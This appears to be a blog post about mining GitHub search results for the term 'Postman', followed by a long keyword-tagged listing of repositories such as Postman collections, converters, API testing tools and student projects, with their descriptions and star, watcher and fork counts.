When you search for "Postman" on GitHub you get back 7,404 (6,200 when I started this work). Whether you are searching through the GitHub UI or API you are limited to pulling the first 1,000 results, introducing some significant constraints if you want to pull the entire datasets. To pull the data incrementally over time across a wide vocabulary I created a Postman collection to do the hard work, storing the data in a Postman environment. At about 5,100 records, working within Postman became unwieldy and I published the data to a custom external system for processing.
After developing the vocabulary to help me search for GitHub results, narrowing down the search scope for each request I was eventually able to get all of the results, but then also was able to develop a way of viewing results, helping me filter, sort, and make sense of the different types of projects being built on GitHub using Postman. While there is still a significant amount of work to be done on the vocabulary I am using to bring this all into focus, I think it is beginning to paint a pretty dynamic picture of what is happening across the API landscape using Postman.
This displays results by the top 500 keywords in use across the GitHub search results, showing the top layers of the Postman community.
|
postmanlabs/postman-app-support collection, collections, complex, efficient, quickly, struct, support |
Postman helps you be more efficient while working with APIs. Using Postman, you can construct complex HTTP requests quickly, organize them in collections and share them with your co-workers. | 4326 stars | 4326 watchers | 639 forks |
|
aubm/postmanerator collection, collections, document, documentation, generator |
A HTTP API documentation generator that use Postman collections | 448 stars | 448 watchers | 65 forks |
|
microsoftgraph/microsoftgraph-postman-collections collection, collections, description, graph, microsoft, script |
No description available. | 130 stars | 130 watchers | 43 forks |
|
loadimpact/postman-to-k6 collection, collections, script |
Converts Postman collections to k6 script code | 84 stars | 84 watchers | 20 forks |
|
davidevernizzi/docman collection, collections, document, documentation, generate, postman collection, postman collections |
A simple page to generate documentation from postman collections | 46 stars | 46 watchers | 18 forks |
|
postmanlabs/covid-19-apis collection, collections, covid, source |
Postman COVID-19 API Resource Center—API collections to help in the COVID-19 fight. | 38 stars | 38 watchers | 10 forks |
|
djfdyuruiry/swagger2-postman-generator bodies, collection, collections, generate, generator, sample, swagger, swagger2 |
Use Swagger v2 JSON Collections to generate Postman v1 collections which include sample request bodies | 28 stars | 28 watchers | 14 forks |
|
SAP-samples/sapbydesign-api-samples collection, collections, consume, design, enable, enables, sample, samples, service, services, user, users |
A set of Postman collections that enables users to consume SAP Business ByDesign web services. | 24 stars | 24 watchers | 22 forks |
|
fbenz/restdocs-to-postman collection, collections, docs, rest, snippet, snippets |
Converts Spring REST Docs cURL snippets to Postman and Insomnia collections | 31 stars | 31 watchers | 5 forks |
|
loadimpact/postman-to-loadimpact collection, collections, form, scenario, user |
DEPRECATED - Transform Postman collections to Load Impact Lua user scenarios | 26 stars | 26 watchers | 9 forks |
|
rupeshmore/dakiya collection, collections, convert, converts, dakiya, script, scripts, test, testing, tool |
Dakiya: converts Postman collections to load testing tool scripts | 25 stars | 25 watchers | 6 forks |
|
SabreDevStudio/postman-collections collection, collections, demonstrating, file, files, rating |
Postman files demonstrating how to call and use APIs found in the Sabre Dev Studio portfolio. | 19 stars | 19 watchers | 17 forks |
|
lfalck/AzureRestApiPostmanCollections action, collection, collections, developer, developers, integration, system, systems |
Postman collections to simplify interaction with the Azure REST APIs, focusing on those relevant for systems integration developers. | 16 stars | 16 watchers | 7 forks |
|
heremaps/postman-collections collection, collections, maps |
Postman collections for HERE REST APIs. | 0 stars | 0 watchers | 35 forks |
|
hkamel/azuredevops-postman-collections azure, collection, collections, common, devops, test |
The collections allows you to test common Azure DevOps Rest APIs from within Postman. | 0 stars | 0 watchers | 35 forks |
|
poynt/postman-runner collection, collections, module, runner |
A module to run a POSTMAN collections. | 0 stars | 0 watchers | 35 forks |
|
Tufin/postman collection, collections |
Postman collections for Tufin REST APIs | 13 stars | 13 watchers | 2 forks |
|
experiandataquality/postman-collections collection, collections, data, experian, quality |
Experian Data Quality Postman collections | 3 stars | 3 watchers | 18 forks |
|
solidfire/postman collection, collections, multiple, version, versions |
Pre-built Postman (getpostman.com) collections for multiple versions of Element OS | 9 stars | 9 watchers | 6 forks |
|
grantorchard/postman-collections collection, collections, description, grant, script |
No description available. | 10 stars | 10 watchers | 3 forks |
|
pivotaltracker/postman-collections collection, collections, description, script, track, tracker |
No description available. | 10 stars | 10 watchers | 2 forks |
|
src-system42/cognito-postman-templates cognito, collection, collections, endpoint, endpoints, system, template, templates, test |
Generator for creating Postman collections to test Cognito endpoints. | 9 stars | 9 watchers | 4 forks |
|
UnexpectedEOF/paypal-rest-postman-collections client, collection, collections, expect, file, files, rest |
A couple of PayPal API collection files for the Postman REST client. | 0 stars | 0 watchers | 18 forks |
|
panz3r/apidoc-postman apidoc, collection, collections, generate, tool |
A tool to generate Postman collections from apiDoc Inline Documentation | 7 stars | 7 watchers | 3 forks |
|
CiscoDevNet/postman-webex collection, collections, webex |
Postman collections for Webex REST APIs | 0 stars | 0 watchers | 16 forks |
|
DevMountain/endpoint-testing-mini endpoint, endpoints, mini, test, testing |
A mini project to introduce how to test endpoints using Postman. | 2 stars | 2 watchers | 287 forks |
|
DevMountain/endpoint-testing-afternoon endpoint, endpoints, test, testing |
An afternoon project to help solidify testing endpoints using Postman. | 4 stars | 4 watchers | 204 forks |
|
rupeshmore/dakiya collection, collections, convert, converts, dakiya, script, scripts, test, testing, tool |
Dakiya: converts Postman collections to load testing tool scripts | 25 stars | 25 watchers | 6 forks |
|
hantuzun/jetman test, testing, tool |
A better tool for testing APIs | 23 stars | 23 watchers | 0 forks |
|
tiagohm/restler powerful, quickly, rest, restler, test, testing |
Restler is a beautiful and powerful Android app for quickly testing REST API anywhere and anytime. | 19 stars | 19 watchers | 5 forks |
|
EhsanTang/ApiDebug browser, http, service, services, test, testing |
浏览器API接口调试插件，Chrome接口调试工具，http调试，post调试，post模拟工具，postman，post接口调试，post测试插件-ApiDebug is a browser plug-in for testing RESTful web services. http://api.crap.cn | 0 stars | 0 watchers | 36 forks |
|
coding-yogi/bombardier coding, collection, postman collection, test, testing, tool |
Rust based HTTP load testing tool using postman collection | 14 stars | 14 watchers | 4 forks |
|
TableauExamples/Tableau_Postman collection, learn, learning, test, testing |
A Postman collection for testing and learning Tableau Server's REST API. | 0 stars | 0 watchers | 29 forks |
|
larrybotha/postman-rest-api-testing rest, test, testing |
Notes on how to use Postman to test REST APIs | 10 stars | 10 watchers | 8 forks |
|
JamesMessinger/super-powered-api-testing powered, powerful, test, testing, tool, tools |
Comparisons of powerful API testing tools | 0 stars | 0 watchers | 19 forks |
|
flyworker/python-automation-testing application, applications, automat, automate, automated, automation, python, river, software, test, testing, web app |
Learn about automated software testing with Python, Selenium WebDriver, and API, Postman, focusing on web applications. | 0 stars | 0 watchers | 12 forks |
|
txthinking/frank automat, automate, automated, command, command line, document, generate, markdown, test, testing, tool |
Frank is a REST API automated testing tool like Postman but in command line. Auto generate markdown API document. | 0 stars | 0 watchers | 10 forks |
|
TakuCoder/postman desktop, desktops, devices, header, including, method, methods, parameter, pretty, stat, status, style, submit, support, supported, test, testing, tool |
Postman is a REST API testing tool for Android devices. It helps to test REST API without desktops. can submit a HTTP request with several headers, parameters and raw request body by 6 different HTTP methods including GET, POST, HEAD, PUT, DELETE and PATCH. HTTP response can be shown as three styles including pretty, raw and preview. Response status code and headers are also supported in Postman-Android. Currently in Development Stage | 3 stars | 3 watchers | 2 forks |
|
PepkorIT/beach-day beach, integration, test, testing |
API integration testing as fun as a day on the beach | 3 stars | 3 watchers | 1 forks |
|
aws-samples/aws-codepipeline-codebuild-with-postman codepipe, codepipeline, pipeline, sample, samples, test, testing |
Automating your API testing with AWS CodeBuild, AWS CodePipeline, and Postman | 0 stars | 0 watchers | 6 forks |
|
elioncho/apikiller collection, collections, config, configure, endpoint, execution, form, test, testing, tool |
Simpe and easy to use load testing tool for your Postman collections. Perform a load test on any endpoint. You can configure the execution time and amount of requests per second. | 2 stars | 2 watchers | 0 forks |
|
Xantier/bound-ttr assert, assertion, boundary, collection, collections, data, database, framework, test, testing |
Automated boundary testing framework based on Postman collections and database assertions | 2 stars | 2 watchers | 0 forks |
|
mikhail-kursk/Api-testing-with-postman-and-excel data, excel, file, store, test, testing, urls |
Project store:Excel file with macros in which you can describe request urls, data and flow for testing your API. | 1 stars | 1 watchers | 2 forks |
|
command-line-physician/command-line-physician command, curated, data, database, find, intention, local, rest, spec, store, test, testing, unit, user, users, util, utilizes |
Our intention with this app is to let users find natural herbal based remedies for their ailments. Our app allows users to browse our specially curated herb database by name and latin name. Command-Line Physician also allows users to locate the nearest store where they can find their unique remedy, or a local resident who has the herb available to share. Tech stack: Command-line Physician is a RESTful api that utilizes Node, Express, Jest, end-to-end and unit testing. Our testing was carried out by Compass, Robo 3T, and Postman. | 0 stars | 0 watchers | 4 forks |
|
luisg18997/testing_continues automat, jenkins, jmeter, newman, test, testing |
practica de testing automatizado con postman, newman, jmeter y jenkins | 2 stars | 2 watchers | 0 forks |
|
melodyWxy/melody-api-test-tool test, testing, tool |
this is a web tool for testing apis, like postman… | 2 stars | 2 watchers | 0 forks |
|
CiscoDevNet/postman-webex-meetings-xml collection, meeting, meetings, reference, test, testing, webex |
Webex Meetings XML API - Postman collection for reference and testing | 1 stars | 1 watchers | 1 forks |
|
anandjat05/admin-service-api admin, coverage, image, instance, instances, pipeline, service, services, stat, test, testing, unit, vulnerability |
Project based on Micro-services, I created REST API's, wrote Junit, testing the coverage, bug smell, vulnerability analysis on Sonarqube and static test analysis using Jococo, Jenkins, Postman and Newman deploy through the CI/CD pipeline in ECS cluster using EC2 instances, Dockerhub, Docker Container/image. | 1 stars | 1 watchers | 1 forks |
|
transferwise/public-api-postman-collection collection, exploring, public, test, testing, transferwise |
A Postman collection for exploring and testing the TransferWise public API | 0 stars | 0 watchers | 3 forks |
|
dougglez/node_postman_testing description, node, script, test, testing |
No description available. | 0 stars | 0 watchers | 3 forks |
|
SAP-samples/sapbydesign-api-samples collection, collections, consume, design, enable, enables, sample, samples, service, services, user, users |
A set of Postman collections that enables users to consume SAP Business ByDesign web services. | 24 stars | 24 watchers | 22 forks |
|
Inn4ki/chatapp admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app |
NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js | 4 stars | 4 watchers | 5 forks |
|
Mir00r/busticketing access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app |
Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. | 1 stars | 1 watchers | 2 forks |
|
Developer-Autodesk/design.automation.3dsmax-postman-tutorial automat, automation, design, tutorial |
Design Automation for 3dsMax tutorial with Postman | 1 stars | 1 watchers | 1 forks |
|
boffey/postman client, client side, design, designed, form, plugin, program, validation |
A jQuery form validation plugin designed to help programmers validate client side forms | 1 stars | 1 watchers | 1 forks |
|
api-evangelist/api-governance-postman-collections collection, collections, design, designed, governance, list, managed |
These are Postman collections designed for applying API governance to APIs being managed using Postman. | 1 stars | 1 watchers | 0 forks |
|
Developer-Autodesk/design.automation-postman.collection automat, automation, collection, design |
Postman collection for Design Automation | 0 stars | 0 watchers | 2 forks |
|
HathemAhmed/Spread_Bot design, designed, message, send, site, spec |
Spread Bot is a postman designed to send a specific message to a large number of sites | 1 stars | 1 watchers | 0 forks |
|
smmcgrath/MyFirstApp access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app |
Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. | 1 stars | 1 watchers | 0 forks |
|
sonali-developer/SmackApplication application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users |
App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. | 0 stars | 0 watchers | 2 forks |
|
teamcasper/dog-match backend, cost, design, designed, form, format, front end, information, location, match, mongo, test, tested |
Group project for Alchemy's code lab 401. It was designed for potential buyers and sellers to provide dog information such as cost, location, breed, etc. It was built using Node and mongoDB on the backend, and tested with postman and Heroku on the front end. | 0 stars | 0 watchers | 2 forks |
|
jreimao/api-culinary-recipes design, designed, recipe, rest, restful, user, users, util |
api restful foi desenhada para gerir 'receitas de culinária' e os seus utilizadores | api restful is designed to manage 'culinary recipes' and their users | 0 stars | 0 watchers | 1 forks |
|
cmullins777/REST-API course, data, database, design, model, modeling, persistence, register, retrieve, route, routes, school, test, testing, user, users, validation |
A school database where registered users can retrieve, add, update, and delete courses in the database. This project uses REST API design, Node.js, and Express to create API routes, and the Sequelize ORM for data modeling, validation, and persistence, as well as Postman for testing. | 0 stars | 0 watchers | 0 forks |
|
kevinvandecar/3dsMax-design-automation-postman-tutorial automat, automation, design, tutorial |
Tutorial for Design Automation API using postman | 0 stars | 0 watchers | 0 forks |
|
Shekhar-Shashank/Complaint-Lodging android, api blueprint, asyncapi, complaint, data, database, design, designed, dummy, flask, front end, generator, java, json schema, lang, language, oauth, openid, parse, python, rest, restful, server, sql, sqlite, studio, test, testing |
It is an android complaint lodging app in which the front end is designed in android studio using java language. The restful API that the app interacts with is made using python flask. The database used is sqlite. And the language used to parse the data from the server is Json. For testing the requests like get and post we used postman as a dummy request generator. | 0 stars | 0 watchers | 0 forks |
|
CarlosBrignardello/design-postman-2020 description, design, script |
No description available. | 0 stars | 0 watchers | 0 forks |
|
gouravjixer/Informal-letter-format address, application, business, case, collection, collections, compose, creation, design, download, exercise, form, format, instruction, issue, letters, message, messages, method, school, secure, secured, sort, sorted, spec, steem, struct, test, tests, to do, user, util, utilization, welcome |
Casual Letter Format Sample is as yet a fundamental ability being in the realm of messages and messages. Each individual needs to compose letters in a few or other way. Letters for an occupation application, protests, thank you, asking for something, recommending something and so forth are in pattern might be in a business field or in school period. It likewise has its favorable circumstances. Empowering understudies in early ages for composing casual letter organize CBSE will enhance their relational abilities, include certainty, enhancing penmanship aptitudes, and make them think about composing organization and utilizations and its organizing that how formal and casual letters vary and make significance. The most effective method to compose a casual letter design Composing a casual letter arrange in English professionally is better and make your esteem. A casual letter can be composed in any criteria or way you can pick however composing it in a sorted out way will make its esteem. You ought to take after the organization in like manner. Right off the bat comes the opening: in this one should know how to address the peruser legitimately in a casual way. This ought to be direct and begin by specifying the name of the individual with a sweet welcome. What's more, begin your letter like, 'how are you?', 'trust you are fine.' Etc. The body: the body ought to be composed in a well disposed and individual tone. Consider your genuine relations and issues and begin composing it in like manner tone and dialect. Shutting: here one condenses their perspectives and give a farewell or get together the wave. You can specify, 'see you soon.', 'can hardly wait to see you.' and so forth. Also, compose your name and mark toward the end. casual letter case pdf casual letter case pdf Snap Here To Download Informal letter case pdf Unique ABOUT HANDWRITTEN LETTERS There are fun and creation in written by hand letters. There is still exceptionalness contributing a letter in the case and getting it from a postman, secured with beautiful stamps and love. This shows somebody has set aside time for you to think and sit to compose a letter. These have their own particular appeal. Configuration of casual letter in english Configuration of casual letter in english Configuration of casual letter in english Snap Here To Download Format of the casual letter in English Step by step instructions to compose an individual letter the most effective method to compose an individual letter the most effective method to compose an individual letter Snap here to download how to compose an individual letter PDF End These have their own esteem. These are sent by adoration and time and one keeps them for whatever length of time that recollections. These likewise have exercises and help youngsters to indicate inventiveness, have some good times, take in its significance and upgrade their aptitudes. | 0 stars | 0 watchers | 0 forks |
|
Archana-design/TestRepositary design, repositary, test |
This is a test repositary created by Postman | 0 stars | 0 watchers | 0 forks |
|
awaisbub/Shircle aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track |
It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. | 0 stars | 0 watchers | 0 forks |
|
Bikachu/MongoDB-REST-API-design desgin, design, function, functions, test |
This project use MongoDB and REST api to desgin a simple API to implement GET, POST, PUT and DELETE functions, use POSTMAN to test the functions | 0 stars | 0 watchers | 0 forks |
|
codechavez/Postman class, design, facade, mail |
Email SMTP class using basic facade design pattern | 0 stars | 0 watchers | 0 forks |
|
GalinGeorgiev92/CinemaAPI decorator, design |
Rest API using decorator design pattern and separation of concerns. ASP.NET 4.8, Entity Framework, Postman. | 0 stars | 0 watchers | 0 forks |
|
karthikeyaJ/MessengerApp design, designed, document, sample, service, test |
Developed RESTful APIs with JAX-RS. Built a sample Social Media API (JAVA EE) Developed a sample REStful web service, designed the API’s, implemented using Jersey and deployed using Tom cat Server. Made use of Postman Client to build, test and document the API. | 0 stars | 0 watchers | 0 forks |
|
lilitam/stores_rest_api_test case, cases, design, designed, python, rest, store, stores, test |
Rest API - test cases designed in python and with Postman | 0 stars | 0 watchers | 0 forks |
|
liyingxiu/quest client, design, development, material |
A very simple postman-like api client using material design. It is still in its early stages of development | 0 stars | 0 watchers | 0 forks |
|
rupeshmore/dakiya collection, collections, convert, converts, dakiya, script, scripts, test, testing, tool |
Dakiya: converts Postman collections to load testing tool scripts | 25 stars | 25 watchers | 6 forks |
|
jivanim/cs122b-tests newman, script, scripts, test, tests |
Postman (newman) test scripts for HWs | 0 stars | 0 watchers | 8 forks |
|
RudiShumpert/postman-collection collection, leverage, script, scripts |
A Postman collection of scripts to leverage the Launch, by Adobe API's | 2 stars | 2 watchers | 0 forks |
|
gep13/appveyor-postman postman scripts, script, scripts, usable |
A set of re-usable postman scripts for working with the AppVeyor API | 1 stars | 1 watchers | 1 forks |
|
corozina-19/postman-scripts description, script, scripts |
No description available. | 0 stars | 0 watchers | 3 forks |
|
rafaelaazevedo/Janger file, integration, jenkins, kubernetes, postman scripts, script, scripts |
Project containing postman scripts with jenkins file and kubernetes integration | 1 stars | 1 watchers | 1 forks |
|
jiereal/pmdoc comments, postman scripts, script, scripts, writing |
writing postman scripts in js comments | 1 stars | 1 watchers | 0 forks |
|
PratikshaRepo/Postman script, scripts |
Test scripts on API Automation using Postman | 1 stars | 1 watchers | 0 forks |
|
digipolisantwerp/common-api-tests_js common, file, script, scripts, test, tests |
Bundled of the most commonly used Postman test scripts in one JavaScript file. | 0 stars | 0 watchers | 2 forks |
|
nelsoni2/F5_iWorkflow_REST_API_Commands script, scripts |
POSTMAN Collections and Javascript/Python scripts for the F5 iWorkflow REST API | 0 stars | 0 watchers | 2 forks |
|
ashwanikumar04/postman-collections-scripts collection, collections, json, script, scripts, segregated |
This shows the usage to update segregated scripts from collections json and then merge them using gulp | 0 stars | 0 watchers | 1 forks |
|
tutagomes/Postman-Testing data, script, scripts, store, test, testing, tutorial |
A repository to store some data and testing scripts used by my tutorial about postman testing. | 0 stars | 0 watchers | 1 forks |
|
AlexNDRmac/postman_asserts api blueprint, assert, asyncapi, json, json schema, oauth, openid, postman tests, reusable, schema, script, scripts, sql, test, tests, usable, validation |
Tiny scripts for Postman Auto tests (reusable Assertions for postman tests and json schema validation) | 0 stars | 0 watchers | 1 forks |
|
bbmorten/tetration-postman access, sample, script, scripts, setting, settings |
Environment settings, pre-request script, and sample Postman scripts for accessing the Tetration API | 0 stars | 0 watchers | 1 forks |
|
DIPSAS/EhrStore.Postman postman scripts, script, scripts, server, test, verify |
Some postman scripts to test and verify the features of an openEHR server | 0 stars | 0 watchers | 1 forks |
|
matt-ball/postman-cli client, development, facilitate, local, script, scripts |
A client to facilitate local development of scripts for Postman | 0 stars | 0 watchers | 1 forks |
|
flascelles/synthetic-API-traffic-generation collection, collections, general, generate, generation, model, models, postman collection, postman collections, script, scripts, traffic, training |
scripts and postman collections to generate synthetic api traffic for training ML models and general purposes | 0 stars | 0 watchers | 0 forks |
|
electrumpayments/money-transfer-retailer-test-pack implementation, implementations, money, payment, retail, script, scripts, server, test, testing |
Test server and Postman scripts for testing Money Transfer Retailer Interface implementations | 0 stars | 0 watchers | 0 forks |
|
nsubrahm/openshift-demo-postman opens, openshift, script, scripts, test |
Postman scripts to test the OpenShift demo | 0 stars | 0 watchers | 0 forks |
|
ahmedramez/postman-scripts description, script, scripts |
No description available. | 0 stars | 0 watchers | 0 forks |
|
CAcevedoSoria/scripts-and-postman-tests description, script, scripts, test, tests |
No description available. | 0 stars | 0 watchers | 0 forks |
|
electrumpayments/airtime-service-test-pack implementation, implementations, payment, script, scripts, server, service, test, testing |
test server and Postman scripts for testing Airtime Service Interface implementations | 0 stars | 0 watchers | 0 forks |
|
gagandelouri/f5-gd-postman-scripts description, script, scripts |
No description available. | 0 stars | 0 watchers | 0 forks |
|
jeffpriz/get-postman-scripts description, script, scripts |
No description available. | 0 stars | 0 watchers | 0 forks |
|
Lau-Ren/postman-pre-request-scripts description, script, scripts |
No description available. | 0 stars | 0 watchers | 0 forks |
|
vmware/vsphere-automation-sdk-rest automat, automation, document, documentation, reference, rest, sample, samples, vmware, vsphere |
REST (Postman and JavaScript) samples and API reference documentation for vSphere using the VMware REST API | 0 stars | 0 watchers | 89 forks |
|
flyworker/python-automation-testing application, applications, automat, automate, automated, automation, python, river, software, test, testing, web app |
Learn about automated software testing with Python, Selenium WebDriver, and API, Postman, focusing on web applications. | 0 stars | 0 watchers | 12 forks |
|
Developer-Autodesk/design.automation.3dsmax-postman-tutorial automat, automation, design, tutorial |
Design Automation for 3dsMax tutorial with Postman | 1 stars | 1 watchers | 1 forks |
|
Developer-Autodesk/design.automation-postman.collection automat, automation, collection, design |
Postman collection for Design Automation | 0 stars | 0 watchers | 2 forks |
|
luuizeduardo/postman-api-automation automat, automation |
API automation with Frisby.js | 0 stars | 0 watchers | 2 forks |
|
flyingeinstein/nimble analytics, automat, automation, collection, config, configure, controller, data, home, popular |
Arduino IoT multi-sensor for the ESP8266. Supports a number of popular sensors. Simply wire sensors to the ESP8266 and compile this sketch. Use the Http Rest API (Postman collection provided) to configure and control the sensors and direct sensor data to a number of targets such as Influx for analytics or a home automation controller. | 1 stars | 1 watchers | 0 forks |
|
brihulse/api-cd-test-demo automat, automation, integration, support, test |
Repo to support demo of an API automation test integration using Postman | 0 stars | 0 watchers | 1 forks |
|
CaiqueCoelho/LearningPostmanApiTest automat, automation, test, tests |
